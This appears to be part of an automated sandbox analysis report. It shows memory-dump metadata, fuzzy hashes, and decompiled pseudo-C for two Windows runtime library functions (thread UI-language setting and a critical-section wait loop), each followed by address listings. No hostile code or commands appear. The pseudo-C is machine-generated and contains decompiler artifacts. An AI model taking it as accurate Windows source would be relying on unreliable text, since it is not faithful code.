                                      0x03692a3a
                                      0x03692a3d
                                      0x03692a42
                                      0x03692a59
                                      0x03692a59
                                      0x03692a5c
                                      0x03692a5f
                                      0x03692a5f
                                      0x036929fa
                                      0x036929f3
                                      0x03692a64
                                      0x03692a64
                                      0x03692a6b
                                      0x03692a6b
                                      0x03692a6d
                                      0x03692a72
                                      0x03692a72
                                      0x00000000

                                      Strings
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID: PATH
                                      • API String ID: 0-1036084923
                                      • Opcode ID: 641b6255c99211b05888a26a616d564b77454653e48528d2a1de2c2e9c3ffff3
                                      • Instruction ID: 72b4af4f14d54b9055cc0268954770e514fc0b580fcf353553803f095ecd9476
                                      • Opcode Fuzzy Hash: 641b6255c99211b05888a26a616d564b77454653e48528d2a1de2c2e9c3ffff3
                                      • Instruction Fuzzy Hash: 63C19FB5E00219AFEF14DF99DD90AADB7B9FF49700F08442AE901BB350D774A942CB64
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 80%
                                      			E0369FAB0(void* __ebx, void* __esi, signed int _a8, signed int _a12) {
                                      				char _v5;
                                      				signed int _v8;
                                      				signed int _v12;
                                      				char _v16;
                                      				char _v17;
                                      				char _v20;
                                      				signed int _v24;
                                      				char _v28;
                                      				char _v32;
                                      				signed int _v40;
                                      				void* __ecx;
                                      				void* __edi;
                                      				void* __ebp;
                                      				signed int _t73;
                                      				intOrPtr* _t75;
                                      				signed int _t77;
                                      				signed int _t79;
                                      				signed int _t81;
                                      				intOrPtr _t83;
                                      				intOrPtr _t85;
                                      				intOrPtr _t86;
                                      				signed int _t91;
                                      				signed int _t94;
                                      				signed int _t95;
                                      				signed int _t96;
                                      				signed int _t106;
                                      				signed int _t108;
                                      				signed int _t114;
                                      				signed int _t116;
                                      				signed int _t118;
                                      				signed int _t122;
                                      				signed int _t123;
                                      				void* _t129;
                                      				signed int _t130;
                                      				void* _t132;
                                      				intOrPtr* _t134;
                                      				signed int _t138;
                                      				signed int _t141;
                                      				signed int _t147;
                                      				intOrPtr _t153;
                                      				signed int _t154;
                                      				signed int _t155;
                                      				signed int _t170;
                                      				void* _t174;
                                      				signed int _t176;
                                      				signed int _t177;
                                      
                                      				_t129 = __ebx;
                                      				_push(_t132);
                                      				_push(__esi);
                                      				_t174 = _t132;
                                      				_t73 =  !( *( *(_t174 + 0x18)));
                                      				if(_t73 >= 0) {
                                      					L5:
                                      					return _t73;
                                      				} else {
                                      					E0367EEF0(0x3757b60);
                                      					_t134 =  *0x3757b84; // 0x773b7b80
                                      					_t2 = _t174 + 0x24; // 0x24
                                      					_t75 = _t2;
                                      					if( *_t134 != 0x3757b80) {
                                      						_push(3);
                                      						asm("int 0x29");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						asm("int3");
                                      						_push(0x3757b60);
                                      						_t170 = _v8;
                                      						_v28 = 0;
                                      						_v40 = 0;
                                      						_v24 = 0;
                                      						_v17 = 0;
                                      						_v32 = 0;
                                      						__eflags = _t170 & 0xffff7cf2;
                                      						if((_t170 & 0xffff7cf2) != 0) {
                                      							L43:
                                      							_t77 = 0xc000000d;
                                      						} else {
                                      							_t79 = _t170 & 0x0000000c;
                                      							__eflags = _t79;
                                      							if(_t79 != 0) {
                                      								__eflags = _t79 - 0xc;
                                      								if(_t79 == 0xc) {
                                      									goto L43;
                                      								} else {
                                      									goto L9;
                                      								}
                                      							} else {
                                      								_t170 = _t170 | 0x00000008;
                                      								__eflags = _t170;
                                      								L9:
                                      								_t81 = _t170 & 0x00000300;
                                      								__eflags = _t81 - 0x300;
                                      								if(_t81 == 0x300) {
                                      									goto L43;
                                      								} else {
                                      									_t138 = _t170 & 0x00000001;
                                      									__eflags = _t138;
                                      									_v24 = _t138;
                                      									if(_t138 != 0) {
                                      										__eflags = _t81;
                                      										if(_t81 != 0) {
                                      											goto L43;
                                      										} else {
                                      											goto L11;
                                      										}
                                      									} else {
                                      										L11:
                                      										_push(_t129);
                                      										_t77 = E03676D90( &_v20);
                                      										_t130 = _t77;
                                      										__eflags = _t130;
                                      										if(_t130 >= 0) {
                                      											_push(_t174);
                                      											__eflags = _t170 & 0x00000301;
                                      											if((_t170 & 0x00000301) == 0) {
                                      												_t176 = _a8;
                                      												__eflags = _t176;
                                      												if(__eflags == 0) {
                                      													L64:
                                      													_t83 =  *[fs:0x18];
                                      													_t177 = 0;
                                      													__eflags =  *(_t83 + 0xfb8);
                                      													if( *(_t83 + 0xfb8) != 0) {
                                      														E036776E2( *((intOrPtr*)( *[fs:0x18] + 0xfb8)));
                                      														 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = 0;
                                      													}
                                      													 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = _v12;
                                      													goto L15;
                                      												} else {
                                      													asm("sbb edx, edx");
                                      													_t114 = E03708938(_t130, _t176, ( ~(_t170 & 4) & 0xffffffaf) + 0x55, _t170, _t176, __eflags);
                                      													__eflags = _t114;
                                      													if(_t114 < 0) {
                                      														_push("*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!\n");
                                      														E0366B150();
                                      													}
                                      													_t116 = E03706D81(_t176,  &_v16);
                                      													__eflags = _t116;
                                      													if(_t116 >= 0) {
                                      														__eflags = _v16 - 2;
                                      														if(_v16 < 2) {
                                      															L56:
                                      															_t118 = E036775CE(_v20, 5, 0);
                                      															__eflags = _t118;
                                      															if(_t118 < 0) {
                                      																L67:
                                      																_t130 = 0xc0000017;
                                      																goto L32;
                                      															} else {
                                      																__eflags = _v12;
                                      																if(_v12 == 0) {
                                      																	goto L67;
                                      																} else {
                                      																	_t153 =  *0x3758638; // 0x0
                                      																	_t122 = L036738A4(_t153, _t176, _v16, _t170 | 0x00000002, 0x1a, 5,  &_v12);
                                      																	_t154 = _v12;
                                      																	_t130 = _t122;
                                      																	__eflags = _t130;
                                      																	if(_t130 >= 0) {
                                      																		_t123 =  *(_t154 + 4) & 0x0000ffff;
                                      																		__eflags = _t123;
                                      																		if(_t123 != 0) {
                                      																			_t155 = _a12;
                                      																			__eflags = _t155;
                                      																			if(_t155 != 0) {
                                      																				 *_t155 = _t123;
                                      																			}
                                      																			goto L64;
                                      																		} else {
                                      																			E036776E2(_t154);
                                      																			goto L41;
                                      																		}
                                      																	} else {
                                      																		E036776E2(_t154);
                                      																		_t177 = 0;
                                      																		goto L18;
                                      																	}
                                      																}
                                      															}
                                      														} else {
                                      															__eflags =  *_t176;
                                      															if( *_t176 != 0) {
                                      																goto L56;
                                      															} else {
                                      																__eflags =  *(_t176 + 2);
                                      																if( *(_t176 + 2) == 0) {
                                      																	goto L64;
                                      																} else {
                                      																	goto L56;
                                      																}
                                      															}
                                      														}
                                      													} else {
                                      														_t130 = 0xc000000d;
                                      														goto L32;
                                      													}
                                      												}
                                      												goto L35;
                                      											} else {
                                      												__eflags = _a8;
                                      												if(_a8 != 0) {
                                      													_t77 = 0xc000000d;
                                      												} else {
                                      													_v5 = 1;
                                      													L0369FCE3(_v20, _t170);
                                      													_t177 = 0;
                                      													__eflags = 0;
                                      													L15:
                                      													_t85 =  *[fs:0x18];
                                      													__eflags =  *((intOrPtr*)(_t85 + 0xfc0)) - _t177;
                                      													if( *((intOrPtr*)(_t85 + 0xfc0)) == _t177) {
                                      														L18:
                                      														__eflags = _t130;
                                      														if(_t130 != 0) {
                                      															goto L32;
                                      														} else {
                                      															__eflags = _v5 - _t130;
                                      															if(_v5 == _t130) {
                                      																goto L32;
                                      															} else {
                                      																_t86 =  *[fs:0x18];
                                      																__eflags =  *((intOrPtr*)(_t86 + 0xfbc)) - _t177;
                                      																if( *((intOrPtr*)(_t86 + 0xfbc)) != _t177) {
                                      																	_t177 =  *( *( *[fs:0x18] + 0xfbc));
                                      																}
                                      																__eflags = _t177;
                                      																if(_t177 == 0) {
                                      																	L31:
                                      																	__eflags = 0;
                                      																	L036770F0(_t170 | 0x00000030,  &_v32, 0,  &_v28);
                                      																	goto L32;
                                      																} else {
                                      																	__eflags = _v24;
                                      																	_t91 =  *(_t177 + 0x20);
                                      																	if(_v24 != 0) {
                                      																		 *(_t177 + 0x20) = _t91 & 0xfffffff9;
                                      																		goto L31;
                                      																	} else {
                                      																		_t141 = _t91 & 0x00000040;
                                      																		__eflags = _t170 & 0x00000100;
                                      																		if((_t170 & 0x00000100) == 0) {
                                      																			__eflags = _t141;
                                      																			if(_t141 == 0) {
                                      																				L74:
                                      																				_t94 = _t91 & 0xfffffffd | 0x00000004;
                                      																				goto L27;
                                      																			} else {
                                      																				_t177 = E0369FD22(_t177);
                                      																				__eflags = _t177;
                                      																				if(_t177 == 0) {
                                      																					goto L42;
                                      																				} else {
                                      																					_t130 = E0369FD9B(_t177, 0, 4);
                                      																					__eflags = _t130;
                                      																					if(_t130 != 0) {
                                      																						goto L42;
                                      																					} else {
                                      																						_t68 = _t177 + 0x20;
                                      																						 *_t68 =  *(_t177 + 0x20) & 0xffffffbf;
                                      																						__eflags =  *_t68;
                                      																						_t91 =  *(_t177 + 0x20);
                                      																						goto L74;
                                      																					}
                                      																				}
                                      																			}
                                      																			goto L35;
                                      																		} else {
                                      																			__eflags = _t141;
                                      																			if(_t141 != 0) {
                                      																				_t177 = E0369FD22(_t177);
                                      																				__eflags = _t177;
                                      																				if(_t177 == 0) {
                                      																					L42:
                                      																					_t77 = 0xc0000001;
                                      																					goto L33;
                                      																				} else {
                                      																					_t130 = E0369FD9B(_t177, 0, 4);
                                      																					__eflags = _t130;
                                      																					if(_t130 != 0) {
                                      																						goto L42;
                                      																					} else {
                                      																						 *(_t177 + 0x20) =  *(_t177 + 0x20) & 0xffffffbf;
                                      																						_t91 =  *(_t177 + 0x20);
                                      																						goto L26;
                                      																					}
                                      																				}
                                      																				goto L35;
                                      																			} else {
                                      																				L26:
                                      																				_t94 = _t91 & 0xfffffffb | 0x00000002;
                                      																				__eflags = _t94;
                                      																				L27:
                                      																				 *(_t177 + 0x20) = _t94;
                                      																				__eflags = _t170 & 0x00008000;
                                      																				if((_t170 & 0x00008000) != 0) {
                                      																					_t95 = _a12;
                                      																					__eflags = _t95;
                                      																					if(_t95 != 0) {
                                      																						_t96 =  *_t95;
                                      																						__eflags = _t96;
                                      																						if(_t96 != 0) {
                                      																							 *((short*)(_t177 + 0x22)) = 0;
                                      																							_t40 = _t177 + 0x20;
                                      																							 *_t40 =  *(_t177 + 0x20) | _t96 << 0x00000010;
                                      																							__eflags =  *_t40;
                                      																						}
                                      																					}
                                      																				}
                                      																				goto L31;
                                      																			}
                                      																		}
                                      																	}
                                      																}
                                      															}
                                      														}
                                      													} else {
                                      														_t147 =  *( *[fs:0x18] + 0xfc0);
                                      														_t106 =  *(_t147 + 0x20);
                                      														__eflags = _t106 & 0x00000040;
                                      														if((_t106 & 0x00000040) != 0) {
                                      															_t147 = E0369FD22(_t147);
                                      															__eflags = _t147;
                                      															if(_t147 == 0) {
                                      																L41:
                                      																_t130 = 0xc0000001;
                                      																L32:
                                      																_t77 = _t130;
                                      																goto L33;
                                      															} else {
                                      																 *(_t147 + 0x20) =  *(_t147 + 0x20) & 0xffffffbf;
                                      																_t106 =  *(_t147 + 0x20);
                                      																goto L17;
                                      															}
                                      															goto L35;
                                      														} else {
                                      															L17:
                                      															_t108 = _t106 | 0x00000080;
                                      															__eflags = _t108;
                                      															 *(_t147 + 0x20) = _t108;
                                      															 *( *[fs:0x18] + 0xfc0) = _t147;
                                      															goto L18;
                                      														}
                                      													}
                                      												}
                                      											}
                                      											L33:
                                      										}
                                      									}
                                      								}
                                      							}
                                      						}
                                      						L35:
                                      						return _t77;
                                      					} else {
                                      						 *_t75 = 0x3757b80;
                                      						 *((intOrPtr*)(_t75 + 4)) = _t134;
                                      						 *_t134 = _t75;
                                      						 *0x3757b84 = _t75;
                                      						_t73 = E0367EB70(_t134, 0x3757b60);
                                      						if( *0x3757b20 != 0) {
                                      							_t73 =  *( *[fs:0x30] + 0xc);
                                      							if( *((char*)(_t73 + 0x28)) == 0) {
                                      								_t73 = E0367FF60( *0x3757b20);
                                      							}
                                      						}
                                      						goto L5;
                                      					}
                                      				}
                                      			}

















































                                      0x0369fab0
                                      0x0369fab2
                                      0x0369fab3
                                      0x0369fab4
                                      0x0369fabc
                                      0x0369fac0
                                      0x0369fb14
                                      0x0369fb17
                                      0x0369fac2
                                      0x0369fac8
                                      0x0369facd
                                      0x0369fad3
                                      0x0369fad3
                                      0x0369fadd
                                      0x0369fb18
                                      0x0369fb1b
                                      0x0369fb1d
                                      0x0369fb1e
                                      0x0369fb1f
                                      0x0369fb20
                                      0x0369fb21
                                      0x0369fb22
                                      0x0369fb23
                                      0x0369fb24
                                      0x0369fb25
                                      0x0369fb26
                                      0x0369fb27
                                      0x0369fb28
                                      0x0369fb29
                                      0x0369fb2a
                                      0x0369fb2b
                                      0x0369fb2c
                                      0x0369fb2d
                                      0x0369fb2e
                                      0x0369fb2f
                                      0x0369fb3a
                                      0x0369fb3b
                                      0x0369fb3e
                                      0x0369fb41
                                      0x0369fb44
                                      0x0369fb47
                                      0x0369fb4a
                                      0x0369fb4d
                                      0x0369fb53
                                      0x036dbdcb
                                      0x036dbdcb
                                      0x0369fb59
                                      0x0369fb5b
                                      0x0369fb5b
                                      0x0369fb5e
                                      0x036dbdd5
                                      0x036dbdd8
                                      0x00000000
                                      0x036dbdda
                                      0x00000000
                                      0x036dbdda
                                      0x0369fb64
                                      0x0369fb64
                                      0x0369fb64
                                      0x0369fb67
                                      0x0369fb6e
                                      0x0369fb70
                                      0x0369fb72
                                      0x00000000
                                      0x0369fb78
                                      0x0369fb7a
                                      0x0369fb7a
                                      0x0369fb7d
                                      0x0369fb80
                                      0x036dbddf
                                      0x036dbde1
                                      0x00000000
                                      0x036dbde3
                                      0x00000000
                                      0x036dbde3
                                      0x0369fb86
                                      0x0369fb86
                                      0x0369fb86
                                      0x0369fb8b
                                      0x0369fb90
                                      0x0369fb92
                                      0x0369fb94
                                      0x0369fb9a
                                      0x0369fb9b
                                      0x0369fba1
                                      0x036dbde8
                                      0x036dbdeb
                                      0x036dbded
                                      0x036dbeb5
                                      0x036dbeb5
                                      0x036dbebb
                                      0x036dbebd
                                      0x036dbec3
                                      0x036dbed2
                                      0x036dbedd
                                      0x036dbedd
                                      0x036dbeed
                                      0x00000000
                                      0x036dbdf3
                                      0x036dbdfe
                                      0x036dbe06
                                      0x036dbe0b
                                      0x036dbe0d
                                      0x036dbe0f
                                      0x036dbe14
                                      0x036dbe19
                                      0x036dbe20
                                      0x036dbe25
                                      0x036dbe27
                                      0x036dbe35
                                      0x036dbe39
                                      0x036dbe46
                                      0x036dbe4f
                                      0x036dbe54
                                      0x036dbe56
                                      0x036dbef8
                                      0x036dbef8
                                      0x00000000
                                      0x036dbe5c
                                      0x036dbe5c
                                      0x036dbe60
                                      0x00000000
                                      0x036dbe66
                                      0x036dbe66
                                      0x036dbe7f
                                      0x036dbe84
                                      0x036dbe87
                                      0x036dbe89
                                      0x036dbe8b
                                      0x036dbe99
                                      0x036dbe9d
                                      0x036dbea0
                                      0x036dbeac
                                      0x036dbeaf
                                      0x036dbeb1
                                      0x036dbeb3
                                      0x036dbeb3
                                      0x00000000
                                      0x036dbea2
                                      0x036dbea2
                                      0x00000000
                                      0x036dbea2
                                      0x036dbe8d
                                      0x036dbe8d
                                      0x036dbe92
                                      0x00000000
                                      0x036dbe92
                                      0x036dbe8b
                                      0x036dbe60
                                      0x036dbe3b
                                      0x036dbe3b
                                      0x036dbe3e
                                      0x00000000
                                      0x036dbe40
                                      0x036dbe40
                                      0x036dbe44
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036dbe44
                                      0x036dbe3e
                                      0x036dbe29
                                      0x036dbe29
                                      0x00000000
                                      0x036dbe29
                                      0x036dbe27
                                      0x00000000
                                      0x0369fba7
                                      0x0369fba7
                                      0x0369fbab
                                      0x036dbf02
                                      0x0369fbb1
                                      0x0369fbb1
                                      0x0369fbb8
                                      0x0369fbbd
                                      0x0369fbbd
                                      0x0369fbbf
                                      0x0369fbbf
                                      0x0369fbc5
                                      0x0369fbcb
                                      0x0369fbf8
                                      0x0369fbf8
                                      0x0369fbfa
                                      0x00000000
                                      0x0369fc00
                                      0x0369fc00
                                      0x0369fc03
                                      0x00000000
                                      0x0369fc09
                                      0x0369fc09
                                      0x0369fc0f
                                      0x0369fc15
                                      0x0369fc23
                                      0x0369fc23
                                      0x0369fc25
                                      0x0369fc27
                                      0x0369fc75
                                      0x0369fc7c
                                      0x0369fc84
                                      0x00000000
                                      0x0369fc29
                                      0x0369fc29
                                      0x0369fc2d
                                      0x0369fc30
                                      0x036dbf0f
                                      0x00000000
                                      0x0369fc36
                                      0x0369fc38
                                      0x0369fc3b
                                      0x0369fc41
                                      0x036dbf17
                                      0x036dbf19
                                      0x036dbf48
                                      0x036dbf4b
                                      0x00000000
                                      0x036dbf1b
                                      0x036dbf22
                                      0x036dbf24
                                      0x036dbf26
                                      0x00000000
                                      0x036dbf2c
                                      0x036dbf37
                                      0x036dbf39
                                      0x036dbf3b
                                      0x00000000
                                      0x036dbf41
                                      0x036dbf41
                                      0x036dbf41
                                      0x036dbf41
                                      0x036dbf45
                                      0x00000000
                                      0x036dbf45
                                      0x036dbf3b
                                      0x036dbf26
                                      0x00000000
                                      0x0369fc47
                                      0x0369fc47
                                      0x0369fc49
                                      0x0369fcb2
                                      0x0369fcb4
                                      0x0369fcb6
                                      0x0369fcdc
                                      0x0369fcdc
                                      0x00000000
                                      0x0369fcb8
                                      0x0369fcc3
                                      0x0369fcc5
                                      0x0369fcc7
                                      0x00000000
                                      0x0369fcc9
                                      0x0369fcc9
                                      0x0369fccd
                                      0x00000000
                                      0x0369fccd
                                      0x0369fcc7
                                      0x00000000
                                      0x0369fc4b
                                      0x0369fc4b
                                      0x0369fc4e
                                      0x0369fc4e
                                      0x0369fc51
                                      0x0369fc51
                                      0x0369fc54
                                      0x0369fc5a
                                      0x0369fc5c
                                      0x0369fc5f
                                      0x0369fc61
                                      0x0369fc63
                                      0x0369fc65
                                      0x0369fc67
                                      0x0369fc6e
                                      0x0369fc72
                                      0x0369fc72
                                      0x0369fc72
                                      0x0369fc72
                                      0x0369fc67
                                      0x0369fc61
                                      0x00000000
                                      0x0369fc5a
                                      0x0369fc49
                                      0x0369fc41
                                      0x0369fc30
                                      0x0369fc27
                                      0x0369fc03
                                      0x0369fbcd
                                      0x0369fbd3
                                      0x0369fbd9
                                      0x0369fbdc
                                      0x0369fbde
                                      0x0369fc99
                                      0x0369fc9b
                                      0x0369fc9d
                                      0x0369fcd5
                                      0x0369fcd5
                                      0x0369fc89
                                      0x0369fc89
                                      0x00000000
                                      0x0369fc9f
                                      0x0369fc9f
                                      0x0369fca3
                                      0x00000000
                                      0x0369fca3
                                      0x00000000
                                      0x0369fbe4
                                      0x0369fbe4
                                      0x0369fbe4
                                      0x0369fbe4
                                      0x0369fbe9
                                      0x0369fbf2
                                      0x00000000
                                      0x0369fbf2
                                      0x0369fbde
                                      0x0369fbcb
                                      0x0369fbab
                                      0x0369fc8b
                                      0x0369fc8b
                                      0x0369fc8c
                                      0x0369fb80
                                      0x0369fb72
                                      0x0369fb5e
                                      0x0369fc8d
                                      0x0369fc91
                                      0x0369fadf
                                      0x0369fadf
                                      0x0369fae1
                                      0x0369fae4
                                      0x0369fae7
                                      0x0369faec
                                      0x0369faf8
                                      0x0369fb00
                                      0x0369fb07
                                      0x0369fb0f
                                      0x0369fb0f
                                      0x0369fb07
                                      0x00000000
                                      0x0369faf8
                                      0x0369fadd

                                      Strings
                                      • *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 036DBE0F
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!
                                      • API String ID: 0-865735534
                                      • Opcode ID: 1a0822b03300a145c4120928e8e557eeb50cc9a1f936afa8466f6cf959b55343
                                      • Instruction ID: 6c383d4033165116a634742e54e492cf0a3f9f98f0d6b17e0256a8c7e6a7906a
                                      • Opcode Fuzzy Hash: 1a0822b03300a145c4120928e8e557eeb50cc9a1f936afa8466f6cf959b55343
                                      • Instruction Fuzzy Hash: 42A10375B00705CBEB25DF64C550B7AB3B9AF49712F0A856EE806DF784DB30D8028B90
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 63%
                                      			E03662D8A(void* __ebx, signed char __ecx, signed int __edx, signed int __edi) {
                                      				signed char _v8;
                                      				signed int _v12;
                                      				signed int _v16;
                                      				signed int _v20;
                                      				signed int _v24;
                                      				intOrPtr _v28;
                                      				intOrPtr _v32;
                                      				signed int _v52;
                                      				void* __esi;
                                      				void* __ebp;
                                      				intOrPtr _t55;
                                      				signed int _t57;
                                      				signed int _t58;
                                      				char* _t62;
                                      				signed char* _t63;
                                      				signed char* _t64;
                                      				signed int _t67;
                                      				signed int _t72;
                                      				signed int _t77;
                                      				signed int _t78;
                                      				signed int _t88;
                                      				intOrPtr _t89;
                                      				signed char _t93;
                                      				signed int _t97;
                                      				signed int _t98;
                                      				signed int _t102;
                                      				signed int _t103;
                                      				intOrPtr _t104;
                                      				signed int _t105;
                                      				signed int _t106;
                                      				signed char _t109;
                                      				signed int _t111;
                                      				void* _t116;
                                      
                                      				_t102 = __edi;
                                      				_t97 = __edx;
                                      				_v12 = _v12 & 0x00000000;
                                      				_t55 =  *[fs:0x18];
                                      				_t109 = __ecx;
                                      				_v8 = __edx;
                                      				_t86 = 0;
                                      				_v32 = _t55;
                                      				_v24 = 0;
                                      				_push(__edi);
                                      				if(__ecx == 0x3755350) {
                                      					_t86 = 1;
                                      					_v24 = 1;
                                      					 *((intOrPtr*)(_t55 + 0xf84)) = 1;
                                      				}
                                      				_t103 = _t102 | 0xffffffff;
                                      				if( *0x3757bc8 != 0) {
                                      					_push(0xc000004b);
                                      					_push(_t103);
                                      					E036A97C0();
                                      				}
                                      				if( *0x37579c4 != 0) {
                                      					_t57 = 0;
                                      				} else {
                                      					_t57 = 0x37579c8;
                                      				}
                                      				_v16 = _t57;
                                      				if( *((intOrPtr*)(_t109 + 0x10)) == 0) {
                                      					_t93 = _t109;
                                      					L23();
                                      				}
                                      				_t58 =  *_t109;
                                      				if(_t58 == _t103) {
                                      					__eflags =  *(_t109 + 0x14) & 0x01000000;
                                      					_t58 = _t103;
                                      					if(__eflags == 0) {
                                      						_t93 = _t109;
                                      						E03691624(_t86, __eflags);
                                      						_t58 =  *_t109;
                                      					}
                                      				}
                                      				_v20 = _v20 & 0x00000000;
                                      				if(_t58 != _t103) {
                                      					 *((intOrPtr*)(_t58 + 0x14)) =  *((intOrPtr*)(_t58 + 0x14)) + 1;
                                      				}
                                      				_t104 =  *((intOrPtr*)(_t109 + 0x10));
                                      				_t88 = _v16;
                                      				_v28 = _t104;
                                      				L9:
                                      				while(1) {
                                      					if(E03687D50() != 0) {
                                      						_t62 = ( *[fs:0x30])[0x50] + 0x228;
                                      					} else {
                                      						_t62 = 0x7ffe0382;
                                      					}
                                      					if( *_t62 != 0) {
                                      						_t63 =  *[fs:0x30];
                                      						__eflags = _t63[0x240] & 0x00000002;
                                      						if((_t63[0x240] & 0x00000002) != 0) {
                                      							_t93 = _t109;
                                      							E036FFE87(_t93);
                                      						}
                                      					}
                                      					if(_t104 != 0xffffffff) {
                                      						_push(_t88);
                                      						_push(0);
                                      						_push(_t104);
                                      						_t64 = E036A9520();
                                      						goto L15;
                                      					} else {
                                      						while(1) {
                                      							_t97 =  &_v8;
                                      							_t64 = E0369E18B(_t109 + 4, _t97, 4, _t88, 0);
                                      							if(_t64 == 0x102) {
                                      								break;
                                      							}
                                      							_t93 =  *(_t109 + 4);
                                      							_v8 = _t93;
                                      							if((_t93 & 0x00000002) != 0) {
                                      								continue;
                                      							}
                                      							L15:
                                      							if(_t64 == 0x102) {
                                      								break;
                                      							}
                                      							_t89 = _v24;
                                      							if(_t64 < 0) {
                                      								L036BDF30(_t93, _t97, _t64);
                                      								_push(_t93);
                                      								_t98 = _t97 | 0xffffffff;
                                      								__eflags =  *0x3756901;
                                      								_push(_t109);
                                      								_v52 = _t98;
                                      								if( *0x3756901 != 0) {
                                      									_push(0);
                                      									_push(1);
                                      									_push(0);
                                      									_push(0x100003);
                                      									_push( &_v12);
                                      									_t72 = E036A9980();
                                      									__eflags = _t72;
                                      									if(_t72 < 0) {
                                      										_v12 = _t98 | 0xffffffff;
                                      									}
                                      								}
                                      								asm("lock cmpxchg [ecx], edx");
                                      								_t111 = 0;
                                      								__eflags = 0;
                                      								if(0 != 0) {
                                      									__eflags = _v12 - 0xffffffff;
                                      									if(_v12 != 0xffffffff) {
                                      										_push(_v12);
                                      										E036A95D0();
                                      									}
                                      								} else {
                                      									_t111 = _v12;
                                      								}
                                      								return _t111;
                                      							} else {
                                      								if(_t89 != 0) {
                                      									 *((intOrPtr*)(_v32 + 0xf84)) = 0;
                                      									_t77 = E03687D50();
                                      									__eflags = _t77;
                                      									if(_t77 == 0) {
                                      										_t64 = 0x7ffe0384;
                                      									} else {
                                      										_t64 = ( *[fs:0x30])[0x50] + 0x22a;
                                      									}
                                      									__eflags =  *_t64;
                                      									if( *_t64 != 0) {
                                      										_t64 =  *[fs:0x30];
                                      										__eflags = _t64[0x240] & 0x00000004;
                                      										if((_t64[0x240] & 0x00000004) != 0) {
                                      											_t78 = E03687D50();
                                      											__eflags = _t78;
                                      											if(_t78 == 0) {
                                      												_t64 = 0x7ffe0385;
                                      											} else {
                                      												_t64 = ( *[fs:0x30])[0x50] + 0x22b;
                                      											}
                                      											__eflags =  *_t64 & 0x00000020;
                                      											if(( *_t64 & 0x00000020) != 0) {
                                      												_t64 = E036E7016(0x1483, _t97 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
                                      											}
                                      										}
                                      									}
                                      								}
                                      								return _t64;
                                      							}
                                      						}
                                      						_t97 = _t88;
                                      						_t93 = _t109;
                                      						E036FFDDA(_t97, _v12);
                                      						_t105 =  *_t109;
                                      						_t67 = _v12 + 1;
                                      						_v12 = _t67;
                                      						__eflags = _t105 - 0xffffffff;
                                      						if(_t105 == 0xffffffff) {
                                      							_t106 = 0;
                                      							__eflags = 0;
                                      						} else {
                                      							_t106 =  *(_t105 + 0x14);
                                      						}
                                      						__eflags = _t67 - 2;
                                      						if(_t67 > 2) {
                                      							__eflags = _t109 - 0x3755350;
                                      							if(_t109 != 0x3755350) {
                                      								__eflags = _t106 - _v20;
                                      								if(__eflags == 0) {
                                      									_t93 = _t109;
                                      									E036FFFB9(_t88, _t93, _t97, _t106, _t109, __eflags);
                                      								}
                                      							}
                                      						}
                                      						_push("RTL: Re-Waiting\n");
                                      						_push(0);
                                      						_push(0x65);
                                      						_v20 = _t106;
                                      						E036F5720();
                                      						_t104 = _v28;
                                      						_t116 = _t116 + 0xc;
                                      						continue;
                                      					}
                                      				}
                                      			}




































                                      0x03662d8a
                                      0x03662d8a
                                      0x03662d92
                                      0x03662d96
                                      0x03662d9e
                                      0x03662da0
                                      0x03662da3
                                      0x03662da5
                                      0x03662da8
                                      0x03662dab
                                      0x03662db2
                                      0x036bf9aa
                                      0x036bf9ab
                                      0x036bf9ae
                                      0x036bf9ae
                                      0x03662db8
                                      0x03662dc2
                                      0x036bf9b9
                                      0x036bf9be
                                      0x036bf9bf
                                      0x036bf9bf
                                      0x03662dcf
                                      0x036bf9c9
                                      0x03662dd5
                                      0x03662dd5
                                      0x03662dd5
                                      0x03662dde
                                      0x03662de1
                                      0x03662e70
                                      0x03662e72
                                      0x03662e72
                                      0x03662de7
                                      0x03662deb
                                      0x03662e7c
                                      0x03662e83
                                      0x03662e85
                                      0x03662e8b
                                      0x03662e8d
                                      0x03662e92
                                      0x03662e92
                                      0x03662e85
                                      0x03662df1
                                      0x03662df7
                                      0x03662df9
                                      0x03662df9
                                      0x03662dfc
                                      0x03662dff
                                      0x03662e02
                                      0x00000000
                                      0x03662e05
                                      0x03662e0c
                                      0x036bf9d9
                                      0x03662e12
                                      0x03662e12
                                      0x03662e12
                                      0x03662e1a
                                      0x036bf9e3
                                      0x036bf9e9
                                      0x036bf9f0
                                      0x036bf9f6
                                      0x036bf9f8
                                      0x036bf9f8
                                      0x036bf9f0
                                      0x03662e23
                                      0x036bfa02
                                      0x036bfa03
                                      0x036bfa05
                                      0x036bfa06
                                      0x00000000
                                      0x03662e29
                                      0x03662e29
                                      0x03662e2e
                                      0x03662e34
                                      0x03662e3e
                                      0x00000000
                                      0x00000000
                                      0x03662e44
                                      0x03662e47
                                      0x03662e4d
                                      0x00000000
                                      0x00000000
